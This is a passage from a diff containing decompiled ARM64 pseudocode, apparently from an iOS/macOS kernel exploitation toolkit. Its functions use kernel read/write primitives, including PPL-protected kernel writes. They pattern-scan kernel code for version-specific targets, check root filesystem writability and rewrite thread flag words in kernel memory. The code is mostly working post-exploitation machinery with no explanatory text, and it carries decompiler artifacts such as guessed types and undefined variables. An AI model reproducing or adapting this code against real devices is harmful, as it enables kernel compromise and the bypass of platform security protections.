0; + goto LABEL_216; + case 1073741859: + v8[0] = sub_2EC1C(a1, *(_DWORD *)v3, *(_QWORD *)(v3 + 8), *(unsigned __int8 *)(v3 + 24)); + goto LABEL_215; + default: + goto LABEL_216; + } + } +LABEL_219: + sub_3E4D0(a1); + return v6; + } + v14 = 0; + LODWORD(v50) = v3; + v52 = 0; + if ( cmd > 264 ) + { + if ( cmd > 268 ) + { + if ( cmd != 269 ) + { + if ( cmd == 1073742090 ) + { + v15 = sub_223A4((__int64)a1, *(_DWORD *)v3, *(_DWORD *)(v3 + 4), *(_QWORD *)(v3 + 16)); + goto LABEL_79; + } + if ( cmd == 1073742085 ) + { + v15 = sub_22464((__int64)a1, v3, 20); +LABEL_79: + v14 = v15; + LODWORD(v6) = 0; + } +LABEL_179: + v26 = v14 == 0; +LABEL_180: + if ( (_DWORD)v6 == 0 && v26 ) + v6 = 163843; + else + v6 = (unsigned int)v6; + goto LABEL_219; + } + if ( a1->someLargeNumber >> 43 >= 0x44B ) + { + v15 = sub_3FA2C(a1, v3 != 0); + goto LABEL_79; + } +LABEL_84: + v14 = 0; + goto LABEL_179; + } + if ( cmd != 265 ) + { + if ( cmd == 268 ) + { + if ( !v3 ) + v3 = _CFProcessPath(); + v21 = open((const char *)v3, 0, v50); + if ( v21 == -1 ) + { + v27 = *__error(); + v14 = 0; + v28 = *__error(); + if ( v27 < 0 ) + v28 = -v28; + LODWORD(v6) = v28 | 0x40000000; + } + else + { + v22 = v21; + if ( v3 ) + LODWORD(v6) = 0; + else + LODWORD(v6) = 708609; + v14 = sub_2F7BC(a1, v21); + close(v22); + } + } + goto LABEL_179; + } + v25 = v3 & 0xF; + if ( a1->someLargeNumber <= 0x1F52FFFFFFFFFFLL ) + { + if ( v25 > 2 ) + { + v14 = 0; + LODWORD(v6) = 708609; + goto LABEL_179; + } + v15 = sub_14524(a1, v25); + goto LABEL_79; + } + if ( v25 == 1 ) + LODWORD(v6) = 708616; + else + LODWORD(v6) = 0; + goto LABEL_178; + } + if ( cmd > -2147483380 ) + { + if ( cmd != -2147483379 ) + { + if ( cmd != -1073741557 ) + goto LABEL_179; + v23 = *(_DWORD *)v3; + v24 = (*(_DWORD *)v3 & 1) != 0 && a1->someLargeNumber > 0x1F52FFFFFFFFFFLL && a1->xnuMajorVersion < 8792; + if ( (v23 & 4) != 0 ) + { + if ( krw_ctx_has_flag(a1, 85475329) ) + { + if ( sub_1308C(a1) ) + v24 |= 4u; + } + else if ( krw_ctx_has_flag(a1, 512) && a1->xnuMajorVersion > 6152 ) + { + v24 |= 4u; + } + } + if ( (v23 & 2) != 0 ) + { + if ( krw_ctx_has_flag(a1, 85475329) ) + { + if ( sub_1308C(a1) ) + v24 |= 2u; + } + else + { + v24 |= 2u; + } + } + if ( (v23 & 8) != 0 && a1->someLargeNumber <= 0x1F52FFFFFFFFFFLL ) + v24 |= 8u; + LODWORD(v6) = 0; + *(_DWORD *)v3 = v24; + goto LABEL_178; + } + v16 = 0; + LOBYTE(v51) = 0; + if ( a1->someLargeNumber >> 43 >= 0x44B ) + { + v16 = sub_3F9A0(a1, (bool *)&v51); + LODWORD(v6) = 0; + if ( v16 ) + LODWORD(v50) = (unsigned __int8)v51; + } + } + else + { + if ( cmd == -2147483384 ) + { + v51 = 1024; + if ( !(unsigned int)sub_14BEC((__int64)a1, (void *)(v3 + 16), &v51, (_BOOL4 *)&v52) ) + { + LODWORD(v6) = 0; + goto LABEL_84; + } + if ( v52 ) + *(_DWORD *)v3 = 1; + LODWORD(v6) = 0; + if ( v51 ) + *(_DWORD *)v3 |= 2u; +LABEL_178: + v14 = 1; + goto LABEL_179; + } + if ( cmd != -2147483383 ) + goto LABEL_179; + v16 = check_rootfs_rw((__int64)a1, (int *)&v50); + LODWORD(v6) = 0; + } + if ( v16 ) + { + v26 = 0; + *(_DWORD *)v3 = v50; + } + else + { + v26 = 1; + } + goto LABEL_180; + } + } + return result; +} +// 3E8F0: control flows out of bounds to 0 +// 3E7E0: conditional instruction was optimized away because w22.4>=40000004 +// 3EC84: variable 'v8' is possibly undefined + +//----- (000000000003F2E0) ---------------------------------------------------- +__int64 __fastcall sub_3F2E0(__int64 a1) +{ + __int64 v2; // x20 + unsigned int v4; // w1 + int v5; // w0 + int v6; // w22 + mach_port_t v7; // w1 + int v8; // w2 + int v9; // w0 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + *(_OWORD *)(a1 + 6328) = 0u; + sub_36088((_DWORD *)a1, 0x800000); + sub_21304(a1); + v2 = sub_3C450(a1, mach_task_self_, 0, 0); + if ( (_DWORD)v2 ) + return v2; + v2 = 163871; + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 1024) ) + { + v10 = 0; + if ( !(unsigned int)check_rootfs_rw(a1, &v10) ) + return 163872; + if ( v10 != 3 ) + { + v4 = *(_DWORD *)(a1 + 600); + if ( v4 >= 2 ) + { + if ( v4 != 3 ) + return 163872; + v4 = 0; + } + if ( v10 == v4 || (unsigned int)sub_14524((struct_krwCtx *)a1, v4) ) + goto LABEL_11; + return 163872; + } + } +LABEL_11: + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 4) || (sub_23D30(a1, 0), v5) ) + { + if ( !*(_QWORD *)(a1 + 6400) + || (unsigned int)sub_39CC0((struct_krwCtx *)a1, mach_task_self_, 2, (const void *)(a1 + 6408), 8) ) + { + if ( (v6 = *(_DWORD *)(a1 + 6444), (unsigned int)(v6 + 1) < 2) + || v6 != mach_thread_self() + || ((v7 = mach_thread_self(), *(_QWORD *)(a1 + 344) > 0x1F530F027FFFFFuLL) ? (v8 = 1) : (v8 = 0x4000000), + (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, v7, v8, 0)) ) + { + if ( !*(_QWORD *)(a1 + 6416) || (unsigned int)sub_3A150(a1, *(_DWORD *)(a1 + 6416), *(_DWORD *)(a1 + 6420), 0) ) + { + if ( mach_host_self() == *(_DWORD *)(a1 + 6440) + || krw_ctx_has_flag((struct_krwCtx *)a1, 16) + || (sub_3B7E0(a1, mach_task_self_, *(_DWORD *)(a1 + 6440)), v9) ) + { + sub_3E4D0((_QWORD *)a1); + return 0; + } + } + } + } + } + return v2; +} +// 3F3D4: variable 'v5' is possibly undefined +// 3F4A0: variable 'v9' is possibly undefined + +//----- (000000000003F4BC) ---------------------------------------------------- +__int64 __fastcall sub_3F4BC(char *a1) +{ + void (__fastcall *v2)(char *); // x8 + mach_port_name_t v3; // w1 + int v4; // w0 + int v5; // w0 + int v6; // w0 + int v7; // w0 + int v8; // w0 + mach_port_name_t v9; // w1 + io_object_t v10; // w0 + vm_address_t v11; // x1 + vm_size_t v12; // x2 + semaphore_t v13; // w1 + _DWORD *v14; // x21 + mach_port_name_t v15; // w1 + _DWORD *v16; // x23 + __int64 v17; // x0 + __int64 v18; // x0 + __int64 v19; // x0 + __int64 v20; // x0 + __int64 v21; // x0 + __int64 v22; // x0 + __int64 v23; // x0 + void *v24; // x0 + mach_port_name_t v25; // w1 + int v27; // [xsp+Ch] [xbp-34h] BYREF + + sub_12EF8((struct_krwCtx *)a1); + sub_38764((__int64)a1); + v2 = (void (__fastcall *)(char *))*((_QWORD *)a1 + 58); + if ( v2 ) + v2(a1); + v3 = *((_DWORD *)a1 + 1606); + if ( v3 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v3); + if ( *((_DWORD *)a1 + 1614) != -1 + || *((_DWORD *)a1 + 1615) != -1 + || *((_DWORD *)a1 + 1612) != -1 + || *((_DWORD *)a1 + 1613) != -1 + || *((_DWORD *)a1 + 1616) != -1 ) + { + v27 = -1; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + v4 = *((_DWORD *)a1 + 1614); + if ( v4 != -1 ) + { + close(v4); + *((_DWORD *)a1 + 1614) = -1; + } + v5 = *((_DWORD *)a1 + 1615); + if ( v5 != -1 ) + { + close(v5); + *((_DWORD *)a1 + 1615) = -1; + } + v6 = *((_DWORD *)a1 + 1616); + if ( v6 != -1 ) + { + close(v6); + *((_DWORD *)a1 + 1616) = -1; + } + v7 = *((_DWORD *)a1 + 1612); + if ( v7 != -1 ) + { + close(v7); + *((_DWORD *)a1 + 1612) = -1; + } + v8 = *((_DWORD *)a1 + 1613); + if ( v8 != -1 ) + { + close(v8); + *((_DWORD *)a1 + 1613) = -1; + } + fd_close(v27); + } + } + if ( *((_QWORD *)a1 + 5) ) + sub_26B00((__int64)a1, 1); + if ( *((_QWORD *)a1 + 43) >= 0x27120F04B00003uLL && (*a1 & 0x20) != 0 ) + sub_A9CC((__int64)a1); + if ( *((_QWORD *)a1 + 937) ) + { + v27 = -1; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + sub_28D44((__int64)a1); + fd_close(v27); + } + } + if ( (unsigned int)(*((_DWORD *)a1 + 23) + 1) >= 2 ) + { + v27 = -1; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + sub_27478((__int64)a1); + fd_close(v27); + } + } + if ( (unsigned int)(*((_DWORD *)a1 + 43) + 1) >= 2 ) + { + v27 = -1; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + sub_2811C((__int64)a1); + fd_close(v27); + } + } + sub_25C6C((__int64)a1); + mach_port_deallocate(mach_task_self_, *((_DWORD *)a1 + 1608)); + v9 = *((_DWORD *)a1 + 1609); + if ( v9 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v9); + v10 = *((_DWORD *)a1 + 4); + if ( v10 + 1 >= 2 ) + IOObjectRelease(v10); + if ( (unsigned int)(*((_DWORD *)a1 + 1590) + 1) >= 2 ) + *((_DWORD *)a1 + 1590) = 0; + v11 = *((_QWORD *)a1 + 35); + if ( v11 ) + { + v12 = *((_QWORD *)a1 + 36); + if ( v12 ) + vm_deallocate(mach_task_self_, v11, v12); + } + v13 = *((_DWORD *)a1 + 153); + if ( v13 + 1 >= 2 ) + { + semaphore_destroy(mach_task_self_, v13); + *((_DWORD *)a1 + 153) = 0; + } + if ( !pthread_mutex_lock((pthread_mutex_t *)(a1 + 816)) ) + { + v14 = (_DWORD *)*((_QWORD *)a1 + 110); + *((_QWORD *)a1 + 110) = 0; + if ( v14 ) + { + do + { + v15 = v14[7]; + if ( v15 + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, v15, 1u, -1); + v16 = *(_DWORD **)v14; + *((_QWORD *)v14 + 4) = 0; + *(_OWORD *)v14 = 0u; + *((_OWORD *)v14 + 1) = 0u; + free(v14); + v14 = v16; + } + while ( v16 ); + } + pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816)); + } + pthread_mutex_destroy((pthread_mutex_t *)(a1 + 816)); + pthread_mutex_destroy((pthread_mutex_t *)(a1 + 616)); + v17 = *((_QWORD *)a1 + 931); + if ( v17 ) + { + sub_1A520(v17); + free(*((void **)a1 + 931)); + *((_QWORD *)a1 + 931) = 0; + } + v18 = *((_QWORD *)a1 + 932); + if ( v18 ) + { + sub_1A520(v18); + free(*((void **)a1 + 932)); + *((_QWORD *)a1 + 932) = 0; + } + v19 = *((_QWORD *)a1 + 933); + if ( v19 ) + { + sub_1A520(v19); + free(*((void **)a1 + 933)); + *((_QWORD *)a1 + 933) = 0; + } + v20 = *((_QWORD *)a1 + 934); + if ( v20 ) + { + sub_1A520(v20); + free(*((void **)a1 + 934)); + *((_QWORD *)a1 + 934) = 0; + } + v21 = *((_QWORD *)a1 + 935); + if ( v21 ) + { + sub_1A520(v21); + free(*((void **)a1 + 935)); + *((_QWORD *)a1 + 935) = 0; + } + v22 = *((_QWORD *)a1 + 832); + if ( v22 ) + { + sub_1A520(v22); + free(*((void **)a1 + 832)); + *((_QWORD *)a1 + 832) = 0; + } + v23 = *((_QWORD *)a1 + 831); + if ( v23 ) + { + sub_1A520(v23); + free(*((void **)a1 + 831)); + *((_QWORD *)a1 + 831) = 0; + } + v24 = (void *)*((_QWORD *)a1 + 930); + if ( v24 ) + { + free(v24); + *((_QWORD *)a1 + 930) = 0; + *((_DWORD *)a1 + 1858) = 0; + } + v25 = *((_DWORD *)a1 + 58); + if ( v25 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v25); + *((_DWORD *)a1 + 58) = 0; + } + bzero(a1, 0x1D60u); + free(a1); + return 0; +} + +//----- (000000000003F8C0) ---------------------------------------------------- +__int64 __fastcall set_flags_something_INEEDTOLOOK_sub_3F8C0(__int64 a1, unsigned int a2, int a3, int a4) +{ + __int64 result; // x0 + unsigned __int64 v8; // x22 + int v9; // w9 + int v10; // w2 + int v11; // [xsp+Ch] [xbp-34h] BYREF + + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + { + v8 = sub_345D4(a1, a2); + if ( !v8 ) + return 0; + } + else + { + result = sub_34358((struct_krwCtx *)a1, a2); + if ( !result ) + return result; + v8 = result + 40; + if ( result == -40 ) + return 0; + } + result = kread32_outptr(a1, v8, &v11); + if ( !(_DWORD)result ) + return result; + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + v9 = 0xF0000000; + else + v9 = -2; + if ( (v9 & v11) != 0 ) + return 0; + if ( a4 ) + v10 = v11 | a3; + else + v10 = v11 & ~a3; + if ( v10 == v11 ) + return 1; + result = ppl_kwrite32((struct_krwCtx *)a1, v8, v10); + if ( (_DWORD)result ) + return 1; + return result; +} + +//----- (000000000003F9A0) ---------------------------------------------------- +__int64 __fastcall sub_3F9A0(struct_krwCtx *a1, bool *a2) +{ + __int64 result; // x0 + unsigned __int8 v5; // [xsp+Fh] [xbp-21h] BYREF + __int64 v6; // [xsp+10h] [xbp-20h] BYREF + __int64 address; // [xsp+18h] [xbp-18h] BYREF + + v6 = 0; + address = 0; + result = sub_3FB84((__int64)a1, &address, &v6); + if ( (_DWORD)result ) + { + krw_ctx_has_flag(a1, 85475329); + if ( (unsigned int)kreadbuf_last_1(a1, address, 1, &v5) && v5 <= 1u ) + { + *a2 = v5 != 0; + return 1; + } + else + { + return 0; + } + } + return result; +} + +//----- (000000000003FA2C) ---------------------------------------------------- +__int64 __fastcall sub_3FA2C(struct_krwCtx *a1, int a2) +{ + __int64 result; // x0 + unsigned __int64 v5; // x22 + unsigned __int64 v6; // x21 + int v7; // w8 + __int64 v8; // x21 + unsigned __int8 v9; // [xsp+Eh] [xbp-32h] BYREF + unsigned __int8 v10; // [xsp+Fh] [xbp-31h] BYREF + unsigned __int64 v11; // [xsp+10h] [xbp-30h] BYREF + unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF + + v11 = 0; + v12 = 0; + result = sub_3FB84((__int64)a1, (__int64 *)&v11, (__int64 *)&v12); + if ( (_DWORD)result ) + { + if ( krw_ctx_has_flag(a1, 0x5184001) ) + { + v5 = v12; + if ( !(unsigned int)kreadbuf_last_1(a1, v12, 1, &v10) ) + return 0; + if ( v10 > 1u ) + return 0; + v6 = v11; + if ( !(unsigned int)kreadbuf_last_1(a1, v11, 1, &v9) ) + return 0; + v7 = v9; + if ( v9 > 1u ) + return 0; + if ( v10 != a2 ) + { + v10 = a2; + if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v5, &v10, 1) ) + return 0; + v7 = v9; + } + if ( v7 != a2 ) + { + v9 = a2; + if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v6, &v9, 1) ) + return 0; + } + } + else + { + v8 = v11; + if ( !(unsigned int)kreadbuf_last_1(a1, v11, 1, &v10) ) + return 0; + if ( v10 > 1u ) + return 0; + if ( v10 != a2 ) + { + v10 = a2; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v8, (__int64)&v10, 1) ) + return 0; + } + } + return 1; + } + return result; +} + +//----- (000000000003FB84) ---------------------------------------------------- +__int64 __fastcall sub_3FB84(__int64 a1, __int64 *a2, __int64 *a3) +{ + __int64 v6; // x8 + __int64 v7; // x22 + __int64 v8; // x23 + __int64 result; // x0 + __int64 v10; // x22 + int v11; // w22 + char *v12; // x1 + __int64 v13; // x23 + __int64 v15; // x8 + __int64 v16; // [xsp+0h] [xbp-50h] BYREF + __int64 v17; // [xsp+8h] [xbp-48h] + __int64 v18; // [xsp+10h] [xbp-40h] + __int64 v19; // [xsp+18h] [xbp-38h] BYREF + + v19 = 0; + v6 = *(_QWORD *)(a1 + 280); + if ( v6 && *(_QWORD *)(a1 + 288) ) + { + v7 = *(_QWORD *)(v6 + 328); + v19 = v7; + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) && v7 ) + { + *a2 = v7; + return 1; + } + v8 = *(_QWORD *)(*(_QWORD *)(a1 + 280) + 320LL); + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) && v7 && v8 != 0 ) + { + *a2 = v7; + *a3 = v8; + return 1; + } + } + else + { + v8 = 0; + } + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 32) ) + { + macho_getsectbyname("__TEXT_EXEC", *(_QWORD *)(a1 + 6648), "__text", &v16); + result = 0; + if ( v17 ) + { + if ( v18 ) + { + result = kernel_pattern_scan((__int64)&v16, "08 01 40 39 08 01 00 12", 0); + if ( result ) + { + result = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(result - 12)); + if ( result ) + { + result = kread64_outptr((struct_krwCtx *)a1, result, (unsigned __int64 *)&v19); + if ( (_DWORD)result ) + { + result = v19; + *a2 = v19; + v10 = result - 1; + goto LABEL_40; + } + } + } + } + } + } + else if ( krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) ) + { + v11 = *(_DWORD *)(a1 + 320); + sub_39B70(&v16, (struct_krwCtx *)a1); + result = 0; + if ( v17 && v18 ) + { + v12 = v11 <= 8795 ? "6A 00 00 37 40 00 00 34" : "6B 00 00 37 40 00 00 34"; + result = kernel_pattern_scan((__int64)&v16, v12, 0); + if ( result ) + { + v13 = result; + result = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(result - 16)); + if ( result ) + { + v10 = result; + result = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v13 - 8)); + v19 = result; + if ( result ) + { + *a2 = result; + v8 = v10; +LABEL_40: + *a3 = v10; + v15 = *(_QWORD *)(a1 + 280); + if ( v15 ) + { + if ( *(_QWORD *)(a1 + 288) ) + { + *(_QWORD *)(v15 + 320) = v8; + *(_QWORD *)(v15 + 328) = result; + } + } + return 1; + } + } + } + } + } + else + { + sub_39B70(&v16, (struct_krwCtx *)a1); + result = 0; + if ( v17 && v18 ) + { + if ( *(_QWORD *)(a1 + 344) < 0x225C192D100000uLL ) + { + result = kernel_pattern_scan((__int64)&v16, "09 FD 9F 08 C0 03 5F D6", 0); + if ( !result ) + return result; + result = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(result - 12)); + } + else + { + result = kernel_pattern_scan((__int64)&v16, "09 01 00 39 C0 03 5F D6", 0); + if ( !result ) + return result; + result = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(result - 12)); + if ( !result ) + return result; + result = sub_19B94(*(_QWORD *)(a1 + 6648), result); + } + v19 = result; + if ( !result ) + return result; + v10 = 0; + *a2 = result; + goto LABEL_40; + } + } + return result; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000003FE68) ---------------------------------------------------- +void __fastcall sub_3FE68(__int64 a1, task_inspect_t a2, host_t *a3) +{ + host_t v4; // w2 + int v6; // w0 + + v4 = *(_DWORD *)(a1 + 6432); + if ( v4 + 1 >= 2 ) + { + if ( *(_QWORD *)(a1 + 344) >= 0x1C1B1914600000uLL ) + { + sub_3B7E0(a1, a2, v4); + if ( !v6 ) + return; + v4 = *(_DWORD *)(a1 + 6432); + } + *a3 = v4; + } +} +// 3FEB8: variable 'v6' is possibly undefined + +//----- (000000000003FED4) ---------------------------------------------------- +_QWORD *__fastcall sub_3FED4(__int64 a1, __int64 a2) +{ + _QWORD *v4; // x21 + _QWORD *v5; // x22 + size_t v6; // x19 + void *v7; // x23 + __int64 v8; // x8 + + v4 = calloc(1u, 0x18u); + v5 = calloc(1u, 0x48u); + sub_1062C(a1, a2, (__int64)v5, 72); + *v4 = v5; + v6 = v5[4]; + v7 = malloc(v6); + sub_1062C(a1, v5[3], (__int64)v7, v6); + v8 = v5[4]; + v4[1] = v7; + v4[2] = v8; + return v4; +} + +//----- (000000000003FF78) ---------------------------------------------------- +__int64 __fastcall sub_3FF78(__int64 a1, _QWORD *a2, __int64 a3) +{ + return *(unsigned int *)(a2[1] + a3 - *(_QWORD *)(*a2 + 24LL)); +} + +//----- (000000000003FF8C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3FF8C(_QWORD **a1, __int64 a2, __int64 a3, unsigned int a4) +{ + return sub_3FFA0((__int64)a1, *a1, a2, a3, a4); +} + +//----- (000000000003FFA0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3FFA0(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4, unsigned int a5) +{ + unsigned __int64 v5; // x8 + unsigned __int64 v6; // x9 + unsigned __int64 v7; // x10 + __int64 v8; // x12 + unsigned __int64 result; // x0 + + v5 = a2[1]; + v6 = v5 + a2[2] - 4LL * a5; + if ( v6 <= v5 ) + return 0LL; + v7 = a2[1]; + while ( a5 ) + { + v8 = 0LL; + while ( (*(_DWORD *)(a4 + v8) & *(_DWORD *)(v7 + v8)) == *(_DWORD *)(a3 + v8) ) + { + v8 += 4LL; + if ( 4LL * a5 == v8 ) + return v7 - v5 + *(_QWORD *)(*a2 + 24LL); + } + result = 0LL; + v7 += 4LL; + if ( v7 >= v6 ) + return result; + } + v7 = a2[1]; + return v7 - v5 + *(_QWORD *)(*a2 + 24LL); +} + +//----- (0000000000040024) ---------------------------------------------------- +unsigned __int64 __fastcall sub_40024(__int64 a1, __int64 a2, __int64 a3, unsigned int a4) +{ + return sub_3FFA0(a1, *(_QWORD **)(a1 + 8), a2, a3, a4); +} + +//----- (0000000000040038) ---------------------------------------------------- +_QWORD *__fastcall sub_40038(__int64 a1, const char *a2) +{ + unsigned __int64 *v4; // x0 + unsigned __int64 v5; // x21 + int v6; // w0 + int v7; // w22 + unsigned __int64 v8; // x21 + int v9; // w24 + unsigned int v10; // w23 + char __s1[8]; // [xsp+8h] [xbp-48h] BYREF + __int64 v13; // [xsp+10h] [xbp-40h] + + v4 = *(unsigned __int64 **)(a1 + 16); + v5 = *v4; + if ( (unsigned int)kread32((__int64)v4, *v4) != -17958193 ) + return 0; + v6 = kread32(*(_QWORD *)(a1 + 16), v5 + 16); + if ( !v6 ) + return 0; + v7 = v6; + v8 = v5 + 32; + while ( 1 ) + { + v9 = kread32(*(_QWORD *)(a1 + 16), v8); + v10 = kread32(*(_QWORD *)(a1 + 16), v8 + 4); + if ( v9 == 25 ) + { + *(_QWORD *)__s1 = 0; + v13 = 0; + sub_1062C(*(_QWORD *)(a1 + 16), v8 + 8, (__int64)__s1, 16); + if ( !strcmp(__s1, a2) ) + break; + } + v8 += v10; + if ( !--v7 ) + return 0; + } + return sub_3FED4(*(_QWORD *)(a1 + 16), v8); +} + +//----- (000000000004014C) ---------------------------------------------------- +__int64 __fastcall sub_4014C(_QWORD *a1) +{ + _QWORD *v2; // x0 + bool v3; // zf + + *a1 = sub_40038((__int64)a1, "__TEXT_EXEC"); + v2 = sub_40038((__int64)a1, "__DATA_CONST"); + a1[1] = v2; + if ( v2 ) + v3 = *a1 == 0; + else + v3 = 1; + if ( v3 ) + return 5; + else + return 0; +} + +//----- (00000000000401A4) ---------------------------------------------------- +__int64 __fastcall sub_401A4(__int64 result, __int64 a2) +{ + unsigned int v2; // w8 + unsigned int v3; // w9 + + v2 = *(_DWORD *)(result + 384); + if ( !((unsigned int)a2 % v2) ) + return a2; + v3 = 2 * v2; + if ( 2 * v2 > 0x8000 ) + return *(unsigned int *)(result + 384); + LODWORD(result) = *(_DWORD *)(result + 384); + do + { + if ( 100 * (v3 % (unsigned int)a2) / v3 >= 100 * ((unsigned int)result % (unsigned int)a2) / (unsigned int)result ) + result = (unsigned int)result; + else + result = v3; + v3 += v2; + } + while ( v3 <= 0x8000 ); + return result; +} + +//----- (0000000000040210) ---------------------------------------------------- +__int64 __fastcall sub_40210(__int64 a1) +{ + unsigned int v1; // w8 + + v1 = 4 * *(_DWORD *)(a1 + 384); + if ( v1 <= 0x4000 ) + v1 = 0x4000; + return (v1 >> 1) | 1; +} + +//----- (0000000000040230) ---------------------------------------------------- +__int64 __fastcall sub_40230(__int64 a1, _OWORD *a2, _DWORD *a3) +{ + int v3; // w8 + __int64 result; // x0 + bool v5; // zf + int v6; // w9 + + v3 = *(_DWORD *)(a1 + 320); + result = 0xFFFFFFFFLL; + if ( v3 > 8791 ) + { + v5 = v3 == 8792 || v3 == 10002; + v6 = 8796; + } + else + { + v5 = (unsigned int)(v3 - 8019) < 2 || v3 == 6153; + v6 = 7195; + } + if ( v5 || v3 == v6 ) + { + if ( a2 ) + { + if ( *a3 < 0x1Bu ) + return 0xFFFFFFFFLL; + *a2 = xmmword_43760; + a2[1] = unk_43770; + *(_OWORD *)((char *)a2 + 92) = unk_437BC; + a2[4] = xmmword_437A0; + a2[5] = unk_437B0; + a2[2] = xmmword_43780; + a2[3] = unk_43790; + } + result = 0LL; + *a3 = 27; + } + return result; +} +// 43760: using guessed type __int128 xmmword_43760; +// 43780: using guessed type __int128 xmmword_43780; +// 437A0: using guessed type __int128 xmmword_437A0; + +//----- (00000000000402CC) ---------------------------------------------------- +__int64 __fastcall sub_402CC(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v4; // x8 + unsigned int *i; // x9 + unsigned int v6; // [xsp+4h] [xbp-11Ch] BYREF + _OWORD v7[16]; // [xsp+8h] [xbp-118h] BYREF + + v6 = 64; + if ( (unsigned int)sub_40230(a1, v7, &v6) ) + return 0; + v4 = v6; + if ( !v6 ) + return 0; + for ( i = (unsigned int *)v7; ; ++i ) + { + result = *i; + if ( (unsigned int)result >= a2 ) + break; + if ( !--v4 ) + return 0; + } + return result; +} + +//----- (0000000000040364) ---------------------------------------------------- +__int64 __fastcall sub_40364(__int64 a1, unsigned __int64 a2, unsigned int a3, unsigned int a4) +{ + unsigned __int64 v4; // x10 + __int64 v5; // x8 + unsigned __int64 v6; // x11 + unsigned __int64 v7; // x12 + unsigned __int64 v8; // x10 + unsigned __int64 v9; // x10 + + v4 = *(unsigned int *)(a1 + 384); + if ( (_DWORD)v4 == a4 ) + { + a2 &= ~*(_QWORD *)(a1 + 392); + } + else + { + v5 = a4 % a3; + if ( *(_QWORD *)(a1 + 344) >> 43 < 0x44BuLL ) + v5 = 0LL; + v6 = a2 + a3; + v7 = v6 % v4; + v8 = v4 - v6 % v4; + if ( !v7 ) + v8 = 0LL; + v9 = v6 - a4 + v8; + while ( v5 != (*(_QWORD *)(a1 + 392) & a2) ) + { + a2 -= a3; + if ( a2 < v9 ) + return 0LL; + } + } + return a2; +} + +//----- (00000000000403E0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_403E0(__int64 a1, const char *a2) +{ + int v4; // w8 + unsigned __int64 v5; // x21 + __int64 v6; // x23 + unsigned __int64 v7; // x0 + unsigned __int64 v8; // x22 + __int64 v9; // x25 + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x23 + unsigned __int64 v12; // x8 + unsigned __int64 v13; // x0 + const char *v14; // x24 + char *v15; // x22 + char v16; // w26 + __int64 v17; // x27 + __int64 v18; // x0 + _QWORD v20[3]; // [xsp-10h] [xbp-F0h] + __int64 *v21; // [xsp+8h] [xbp-D8h] BYREF + unsigned __int64 v22; // [xsp+10h] [xbp-D0h] + __int64 v23; // [xsp+18h] [xbp-C8h] + _QWORD v24[3]; // [xsp+20h] [xbp-C0h] BYREF + _BYTE v25[80]; // [xsp+38h] [xbp-A8h] BYREF + + v4 = *(_DWORD *)(a1 + 320); + if ( (unsigned int)(v4 - 8019) >= 2 ) + { + if ( v4 != 7195 ) + return 0; + if ( *(_QWORD *)(a1 + 344) <= 0x1C1B19145FFFFFuLL ) + v5 = 136; + else + v5 = 168; + v6 = 402; + } + else + { + v5 = 168; + v6 = 649; + } + v7 = *(_QWORD *)(a1 + 6560); + if ( v7 ) + goto LABEL_9; + ((void (*)(void))__chkstk_darwin)(); + if ( *(_QWORD *)(a1 + 344) <= 0x1C1B19145FFFFFuLL ) + v15 = "28 69 68 78 09 11 80 52"; + else + v15 = "08 29 40 92 09 15 80 52"; + v20[0] = v15; + v20[1] = 0; + v16 = 1; + v17 = 1; + if ( v15 ) + { +LABEL_22: + sub_19D10(*(_QWORD *)(a1 + 6648), v24); + v18 = kernel_pattern_scan((__int64)v24, v15, 0); + if ( !v18 ) + goto LABEL_23; + v7 = sub_1E620(*(__int64 **)(a1 + 6648), v18 + 8); + if ( v7 ) + { + *(_QWORD *)(a1 + 6560) = v7; +LABEL_9: + v8 = v5 + v7; + v9 = v6 - 1; + do + { + v21 = *(__int64 **)(a1 + 6648); + v22 = v8; + v23 = v5; + v10 = sub_197A8(&v21); + if ( !v10 ) + break; + v11 = v10; + sub_19AC4(*(_QWORD *)(a1 + 6648), v10, v5, 0); + v12 = *(_QWORD *)(v11 + 16); + if ( v12 ) + { + v21 = *(__int64 **)(a1 + 6648); + v22 = v12; + v23 = 80; + v13 = sub_197A8(&v21); + if ( v13 ) + { + v14 = (const char *)v13; + sub_19AC4(*(_QWORD *)(a1 + 6648), v13, 0x50u, 0); + } + else + { + v14 = v25; + v25[0] = 0; + kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)(v11 + 16), 80, v25); + } + if ( !strcmp(a2, v14) ) + return v8; + } + v8 += v5; + } + while ( --v9 ); + } + } + else + { +LABEL_23: + while ( (v16 & 1) != 0 ) + { + v16 = 0; + v15 = (char *)v20[v17]; + v17 = 2; 